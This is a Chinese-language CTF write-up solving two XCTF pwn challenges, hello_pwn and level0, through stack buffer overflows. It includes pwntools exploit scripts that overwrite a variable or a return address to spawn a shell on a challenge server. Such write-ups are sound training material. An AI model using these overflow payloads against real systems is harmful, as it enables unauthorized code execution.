day-6 xctf-hello_pwn
xctf-hello_pwn
题目传送门:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5052
又是一个溢出,和昨天的有异曲同工之处:


差4个字节,溢出改变dword_60106C的值为nuaa(注意:这里为小端存储,要写为'aaun')
exp:
from pwn import *
#cnn = process('./hello_pwn')
cnn = remote('111.198.29.45',32280)
payload = 'a'*4+'aaun'
cnn.recvuntil('bof')
cnn.send(payload)
print(cnn.recv())
cnn.interactive()
exp
总结:注意小端 ~~~~~~注意小端 ~~~~~注意小端~~~~~
xctf-level0
题目传送门:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5053
拖进ida后,F5查看,发现就是输出Hello world,然后执行函数vulnerable_function(),跟进:

找到一个read,buf长度为80。长度超出80以后,会实现地址随便跳转。

汇编查看一下。可以发现,在read时,将函数的返回地址覆盖为callsystem的地址,则可以实现漏洞利用。

针对leave指令,可以知道:Leave的作用相当==mov esp,ebp和pop ebp
retn == pop eip,所以后面得再加上4*2=8个字符的leave指令,再覆盖retn pop的eip
所以构造:payload = 'a'*80+'a'*8+(callsystem的地址),其中callsystem的地址为0x400596:

所以可以得到exp:
from pwn import *
#cnn = process('./level0')
cnn = remote('111.198.29.45',35563)
payload = 'a'*0x88+p64(0x400596)
cnn.sendline(payload)
cnn.interactive()
exp
得到shell,然后ls查看,cat flag命令得到flag:

总结:
enter指令:
push ebp # 将ebp压栈
mov ebp esp # 将%esp保存到%ebp, 这两步是函数的标准开头 leave指令
leave等效于以下汇编指令:
mov esp,ebp
pop ebp call指令
call foo(foo是一个标号)等效于以下汇编指令:
push eip
mov eip , foo ret指令
ret等效于以下汇编指令:
pop eip
day-6 xctf-hello_pwn的更多相关文章
- 攻防世界(XCTF)WEB(进阶区)write up(四)
ics-07 Web_php_include Zhuanxv Web_python_template_injection ics-07 题前半部分是php弱类型 这段说当传入的id值浮点值不能为1 ...
- 攻防世界(XCTF)WEB(进阶区)write up(三)
挑着做一些好玩的ctf题 FlatScience web2 unserialize3upload1wtf.sh-150ics-04web i-got-id-200 FlatScience 扫出来的lo ...
- 攻防世界(XCTF)WEB(进阶区)write up(一)
cat ics-05 ics-06 lottery Cat XCTF 4th-WHCTF-2017 输入域名 输入普通域名无果 输入127.0.0.1返回了ping码的结果 有可能是命令执行 ...
- XCTF攻防世界Web之WriteUp
XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...
- xctf进阶-unserialize3反序列化
一道反序列化题: 打开后给出了一个php类,我们可以控制code值: `unserialize()` 会检查是否存在一个 `__wakeup()` 方法.如果存在,则会先调用 `__wakeup` 方 ...
- 日常破解--从XCTF的app3题目简单了解安卓备份文件以及sqliteCipher加密数据库
一.题目来源 题目来源:XCTF app3题目 二.解题过程 1.下载好题目,下载完后发现是.ab后缀名的文件,如下图所示: 2.什么是.ab文件?.ab后缀名的文件是Andr ...
- 日常破解--XCTF easy_apk
一.题目来源 来源:XCTF社区安卓题目easy_apk 二.破解思路 1.首先运行一下给的apk,发现就一个输入框和一个按钮,随便点击一下,发现弹出Toast验证失败.如下图所示: ...
- XCTF练习题-WEB-webshell
XCTF练习题-WEB-webshell 解题步骤: 1.观察题目,打开场景 2.根据题目提示,这道题很有可能是获取webshell,再看描述,一句话,基本确认了,观察一下页面,一句话内容,密码为sh ...
- 【XCTF】ics-04
信息: 题目来源:XCTF 4th-CyberEarth 标签:PHP.SQL注入 题目描述:工控云管理系统新添加的登录和注册页面存在漏洞,请找出flag 解题过程 进入注册页面,尝试注册: 进行登录 ...
- 【XCTF】ics-05
信息: 题目来源:XCTF 4th-CyberEarth 标签:PHP.伪协议 题目描述:其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统 解题过程 题目给了一个工控管理系统,并提示存在后门, ...
随机推荐
- C++单链表反转、两有序链表合并仍有序
1 #include<iostream> 2 3 struct Node 4 { 5 int data; 6 Node *next; 7 }; 8 9 typedef struct Nod ...
- Loki日志系统
一.概述 背景 Loki的第一个稳定版本于2019年11月19日发布,是 Grafana Labs 团队最新的开源项目,是一个水平可扩展,高可用性,多租户的日志聚合系统. Grafana 对 Loki ...
- 看完我的笔记不懂也会懂----MarkDown使用指南
目录 语法 [TOC] 自动生成目录 1. 标题 2. 文本强调 3. 列表 4. 图片 5. 超链接 6. 文本引用 7. 分割线 8. 代码 9. 任务列表 (MPE专属) 10. 表格 11. ...
- 8.Vue组件三---slot插槽
主要内容: 1. 什么是插槽 2. 组件的插槽 3. 插槽的使用方法 4. 插槽的具名 5. 变量的作用域 6. slot的作用域 一. 什么是插槽呢? 1. 生活中的插槽有哪些呢? usb插槽, ...
- Mybatis检查SQL注入
Mybatis 的 Mapper.xml 语句中 parameterType 向SQL语句传参有两种方式:#{ } 和 ${ }. 使用#{ }是来防止SQL注入,使用${ }是用来动态拼接参数. 如 ...
- 【转载】Android的事件分发(dispatchTouchEvent),拦截(onInterceptTouchEvent)与处理(onTouchEvent)
出处:https://blog.csdn.net/caifengyao/article/details/65437695 在Android中,View的结构是树状的,所以,当触发触摸事件的时候,其事件 ...
- JPress企业站主题-zbout
JPress企业站主题-zbout 经典的黑白灰颜色搭配风格,首页配置有轮播图.案例展示.公司简介.新闻中心.联系方式以及合作伙伴模块,全站使用了响应式结构,可以自适应电脑端和手机端浏览器访问.主题整 ...
- PHP配置 4. 虚拟主机配置open_basedir
将/usr/local/php/etc/php.ini中open_basedir注释掉,编辑虚拟主机配置open_basedir #vim /usr/local/apache2 .4/conf/ext ...
- MySQL入门(5)——运算符
MySQL入门(5)--运算符 算术运算符 MySQL支持的算数运算符包括加.减.乘.除.求余. 符号 作用 + 加法运算 - 减法运算 * 乘法运算 / 除法运算 % 求余运算 DIV 除法运算,返 ...
- 2019HDU多校第七场 HDU6651 Final Exam
一.题目 Final Exam 二.分析 题目说的比较绕,总之一定要记住,$n$个题目都可以做,至少作对$k$到,但是做题目的人不知道每道题对应的分数. 作为出题人,如果他是田忌,肯定不会去在做题目的 ...